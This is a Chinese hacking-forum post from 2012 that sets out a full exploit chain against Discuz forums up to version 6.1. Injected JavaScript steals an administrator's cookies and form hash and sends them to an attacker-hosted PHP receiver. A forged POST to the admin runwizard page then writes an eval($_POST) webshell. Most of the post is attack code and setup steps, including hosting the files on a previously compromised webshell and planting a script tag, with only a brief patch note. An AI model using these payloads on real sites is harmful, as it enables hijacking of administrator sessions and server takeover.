找回密码
 立即注册
查看: 4409|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
' m5 V) V8 K% P) Z3 g1 OBy racle @tian6.com" a2 g( ?+ ?) ~. {+ |
欢迎转帖.但请保留版权信息.8 U. [9 i( W2 Y/ U) i* l) t. p
受影响版本iscuz<=6.1.0,gbk+utf+big5
  f" x2 V! n4 ~
- X+ ], o6 H! y- v1 t9 p3 M4 r- J新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
) t) N9 e$ Y4 R; ?$ R# n
& X; S8 l2 ?( B- H. J* E; X/ n
: h( u+ k. _: p3 g3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87063 ]1 A( I! Y) d( e4 r
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.4 C) o9 I' y# B$ s% R7 Z

( u8 g5 I- X+ d# B( ~分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..$ K3 j0 \+ f1 ~8 C9 B* X6 M
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
3 I1 z& u+ B2 z" y4 ?2 |- ]9 W# g8 q; F: _0 |1 _

% f5 h4 N( A- C----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------" c) N8 b) P  Q3 `: d6 G
2 W3 c2 T  H: E/ n9 |4 u3 R2 Q

; B) T/ U0 O0 S  A" aproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.# |8 L7 ^# o, a2 R9 j* n, y

8 i) w  y4 E; Rproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.  G! y' v7 z+ M% J& N7 [2 M

" Z. {3 H! c! _- W% Y4 Pproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的., @9 m5 H. l$ y
4 _2 p; Q  v4 n0 y& f" l. p6 P9 c
' Z% }2 x/ g+ i) J
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {9 }/ F5 A0 f0 A; X& w, B) q

! Y& T( C1 [3 H3 Z9 F+ l        global $runwizardfile, $runwizardhistory;! \+ _6 C- f% o$ ^! x) b) d& L9 f

& u' l: ]( n1 G9 w5 u        $fp = fopen($runwizardfile, 'w');
" t4 _% m: W9 v1 j5 d* S
1 n8 N# G0 m0 W9 u        fwrite($fp, serialize($runwizardhistory));
  H/ U. ^2 r9 o  J% }
! N! I8 \1 ]$ {( X  u+ A        fclose($fp);0 c9 I. ^( F# d
& e" A4 S) g  z& P9 n- n. V/ ^
}8 [1 {# w* T+ b) @' A+ P
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
: u: U; P* }5 N- h2 z以下是修补的办法:function saverunwizardhistory() {
- q1 _2 ?: o+ N4 D1 j+ U: g6 \( S# {2 B: c
        global $runwizardfile, $runwizardhistory;: n8 E. |& V# f) X, P9 s3 h# X
/ H- m7 @2 S# E% `. h: M
        $fp = fopen($runwizardfile, 'w');9 C! h, x' n" H5 J

' a# }6 G" D% V* \        $s = '<?php exit;?>';3 G, m5 ^# v8 H( `) s" H" W

, I5 a0 Q. J& A: W9 v9 U        $s .= serialize($runwizardhistory);
7 ^! C( O9 K  H) S! [. H4 B  q) l! e3 a# K9 G) R2 g
        fwrite($fp, $s);) N5 q  O7 C. f$ u; S3 w. z; Y

+ m6 P6 B7 ?1 Y2 ^7 {        fclose($fp);
! }: o# f& C/ O+ ]5 k8 c2 n" g
% \6 E% @8 f9 W4 K% {2 |}
+ y0 g% ~% P4 d- j复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
7 J+ y$ @# t+ r$ G) ?! q; K$ Z/ ^' Q! R7 m5 ~. N' p* J8 y" f9 O% a

0 D- ?; X9 Z7 y( z( [1 }% k7 X  j  S! F) t2 S: T9 M  c  F7 T  K
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------2 z4 W5 M& N4 n4 B  g

8 s" S3 z0 _  j0 K. ?9 G4 h: X
- p! U9 G7 E5 G! m1 c  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.3 P( w( Q  a& r: T5 a
+ R3 G9 S# q5 u. [
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
- q- F1 {# r* |' J. w6 ^, x6 T9 m6 Z+ }9 U: u
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.4 Y& [" Y- \$ q' u

" R- r2 l6 z0 E1 V/ X, i首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:( \6 w6 T+ X7 \+ x6 A/ [

2 d( M0 p8 K8 [" ]9 u# m( F+ ?var url="http://目标网站/admincp.php";      
  x% m5 q& @0 C+ ?0 `+ T4 N% Z* ?. W4 h1 o- w
/*获得cookies*/4 s, R1 h. S' R- t7 S

4 V0 j9 K8 E/ Cfunction getURL(s) {
5 J  T+ ?: d' m( N5 Q4 q' h6 Q! N4 A9 b' v. o8 U
var image = new Image();
& M4 v! G6 o" Q$ h5 R6 B1 I
# d( y6 ]: U6 Limage.style.width = 0;& R# |; Z, s4 }6 f3 C  I& N) X
4 T7 X; S: k$ B7 y0 _
image.style.height = 0;) e6 q3 Y" ]8 ?$ P/ N
! a9 L, z/ p. B2 f
image.src = s;
0 {5 g) T. @4 _0 f2 r
. l* f% Y' o- s& I. `}
: U; J) ]' f3 a1 e) b8 N# C
' E6 ?4 _  s( T5 U4 B, ^getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php4 T$ k; M+ u3 b" n% Y, `: D
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];# m, t; m. q, H2 i8 z. k: s9 C
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ; r& H$ X, k4 ~8 s( Q; Q# y
( s) I) N% e  v: |9 t' B1 v- N
2 _# _$ U$ l: A. k2 b, N1 k
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";' z8 a. q) n$ g/ K" d* c& j
" e! V3 g. y5 n) @

7 f! n$ E* V0 K/ g7 z/ H( z
( Z' s9 K+ m9 A. {* _/*hash*/; J1 p1 L1 C( e- S% l- ]; [. g
9 T( K7 N$ z. a2 @+ @8 C
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
) K) [/ q$ F! {# f( D9 L. Y+ \+ u: f$ u! X9 q0 D8 V3 g5 q  f; H
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);2 u% ~/ N" R8 D4 j1 ]8 I
0 r* n) [2 M  Z$ b1 V
xmlHttpReq.send();4 y# X- U. F1 \

, P, U8 U" Z, D  Y+ A$ ~var resource = xmlHttpReq.responseText;
1 U) L7 v  {' D; m: T! K+ w1 J, N+ h+ D% M
var numero = resource.search(/formhash/);5 h, U7 w4 h4 i  ~3 p0 |7 t7 _) p

+ X( s) Y3 U+ h8 w6 {; E+ yvar formhash=encodeURIComponent(resource.substr(numero+17,8));
8 ?& {6 c- R+ a7 P& @" `) N3 a0 g/ E$ q& J2 o$ J6 q/ O7 Z

* z5 ]# O0 h4 k
2 M' x7 c/ F8 k# |0 Zvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 ( \! b  N( D' z) l6 ?  i

; p  {* g; ~) v1 O8 V4 Q& kxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 : y2 T1 \# m" I# P9 N
; R( t* I+ i9 w) @: D! k
xmlHttpReq.setRequestHeader("Referer", url);2 Q% C4 r6 }/ w4 d

0 Z/ J& |( d6 ?5 ?9 q' \* |0 T3 hxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");! o% V; a/ e: L  t) ^
, d& \+ Q: Q8 p
xmlHttpReq.setrequestheader("content-length",post.length);
8 C- H$ I! H* A4 N$ k2 S$ @9 m% [, M4 n( V8 m3 h
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
) N: y) w; \7 C6 H
+ D& E& q" K) F$ y: lxmlHttpReq.send(post);//发送数据
1 h) f% N. E' u/ f复制代码这里HASH我假设正确,这样提交,也无须cookies
) P# x8 @: a) M7 G
: Q7 N8 g' N1 G" |/ P& X. j+ R& Z再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
* F4 T0 U7 U- o8 a1 D+ y* a% m( I, g
if (!$sock) die("$errstr ($errno)\n");
9 t: ]% L& @2 k
& M4 u& F( z, ?- W+ L$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';: D/ b5 J! C7 b* l! `: J. \8 Y

# h8 e5 q/ T2 q4 u# h6 C( D9 m. F: M9 a  }
4 X# T6 R$ T$ `- Z
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");: f8 n' W3 X4 Y4 s& h+ v8 R1 [& c
$ j* _3 V7 i# J/ o! f/ j0 C$ h
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");$ t5 `: U, [% ?. j$ T: }% |

3 }( V" ?5 X! {" V+ ~fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");! U& o9 D9 d4 D
1 a- @1 m. j1 _! i# y! t6 ~
fwrite($sock, "Accept-Language: zh-cn\r\n");
, J" X; R) i* p* L' m4 x2 |) \- I+ Z3 c$ b" R7 _! I
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
, Q3 i& {0 u, W- C" O- I$ Y  H7 Z+ w, V' N7 I6 I2 A8 ?
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
. J" G: @/ [3 {7 I0 B( r5 t2 _, f* ?; c* C
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");( Q8 T, }- U1 U
! {% D! @/ D2 E9 y1 `# W: n
fwrite($sock, "Host: $url\r\n");
$ P7 [1 D, H3 x+ t
3 j3 ?- x% R) y( ~; p5 d8 Q/ Wfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
* b' z9 V, v) r- y, a$ B; k9 U* d0 `- r7 o+ D/ g+ R0 T
fwrite($sock, "Connection: Keep-Alive\r\n");
% U% M5 i+ T1 M: x& m% D4 \* a+ r7 @2 P0 e' S
fwrite($sock, "Cache-Control: no-cache\r\n");
  A$ ]7 N0 g$ ?0 w# X7 f! [; H8 F6 }( L/ Y
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");) G$ z+ P9 H: L6 ?7 k+ B' p

" Q* `) @0 A0 }! \" |fwrite($sock, $data);
+ x/ v. P" s2 o; L$ Y2 W* H2 V' ]" U8 H5 s
0 L) k* X# a: I) c1 g0 ~" J4 k
; V/ `* ?1 B; R5 f  `% I5 q4 R
$headers = "";7 b9 E( S3 i! E
; g3 B! D. L7 J1 C! ^* @& z; M9 v
while ($str = trim(fgets($sock, 4096))). ]% n* K. i, V5 R

2 A; [- d+ V6 Y% L+ t     $headers .= "$str\n";
9 y+ e; K4 \7 u+ X
5 u3 i* [7 X0 mecho "\n";6 H8 Y% b4 F0 P  V- [5 Z: G

6 U, i  u% Z" w9 I; w0 E$ u( _& u$body = "";5 G2 N% x6 o: d" l1 F
6 \0 S' Z# G: ^8 X& ^7 h
while (!feof($sock)): z3 k6 [( I9 I
& N3 P( ?7 y7 G5 R$ {! m
     $body .= fgets($sock, 4096);
" {( V/ ]8 j1 m% M% B1 J2 q. z4 Z& a/ a
fclose($sock);- e/ y" v3 d0 [: L* Q

7 p5 L. {# |3 x, Vecho $body;/ e% T3 F5 o6 G3 U  G
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
3 w9 \) g9 w1 Y' ^/ L+ F4 g7 R5 h  _. P
4 ~4 n7 q+ n. M: s* Z* G
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
4 N5 [8 p7 P8 Y. W
- I7 R" o3 v. I2 d3 {, g6 F2 Z( B' H3 Q3 I
1HP SOCKET利用方法首先打开racle.js; }, D5 Q4 O9 W6 c
- `# ?  X$ F8 Q1 n
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
6 K/ F% X- N* L4 z- g* q8 a3 V! I/ S4 K
. X/ c$ Y: T( R. c- n
$ i4 x2 U# C6 a* L
然后打开racle@tian6.php0 o2 ]5 B: {% v! P5 s

5 q7 @# S% n+ ^$ w# \# V( M  j  O3 H  Z$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com* U! ?( Y! b- S& E% q
+ g* g* \6 T/ _  v5 u
5 i% Q" S% [) d

/ ?: h( U& _* B6 |) C- `$ W$ F2 R如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
0 E+ @# k: K. Q+ d6 E% ?- c% e4 x, i! p- s
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
7 N+ _0 t! F& }/ R9 K
2 z- G3 T' |; Z; v3 \8 S7 m$ ~; K" k8 n: s

2 G) O- t/ \1 S# j( z1 J8 ~+ AgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
. H* ]4 o6 U7 Q2 T  o2 C$ H" p9 J1 q复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.  i3 ^! F6 z2 ~, d3 \- t

+ s' M2 q, j% V6 h# n2 V" k" b7 }& n0 d. o2 Y. i1 ~/ y6 h
- @7 O7 O6 _$ J# p
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
) k4 v6 g# m# e3 f9 G# p
& }. F, S  G  {/ K$ _, e  I. `var formhash=encodeURIComponent(resource.substr(numero+17,8));* Y6 |; O6 y' w6 k5 ?# h  Q* a1 |

4 R5 m4 v0 D7 P
0 b9 i0 D8 {/ N+ _
* B# }; e1 b  |- {9 ^% cvar formhash=encodeURIComponent(resource.substr(numero+9,8));4 J0 q6 c% A* e) A; l" ~
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
! [; g! b4 `7 Z0 s# h5 u) }2 N0 k. P+ ~% C6 N& S7 s
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.+ [6 t# Y" S8 \5 I" }6 U. u' B9 e
; V, z7 Z# d- \0 y1 Y
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
$ L0 \' M' q, p( j/ S, L3 ?! m. k% C( I- S/ s
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
1 `$ _% ]. c; f2 ?9 R4 d, N 4 M% C; H/ s. {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表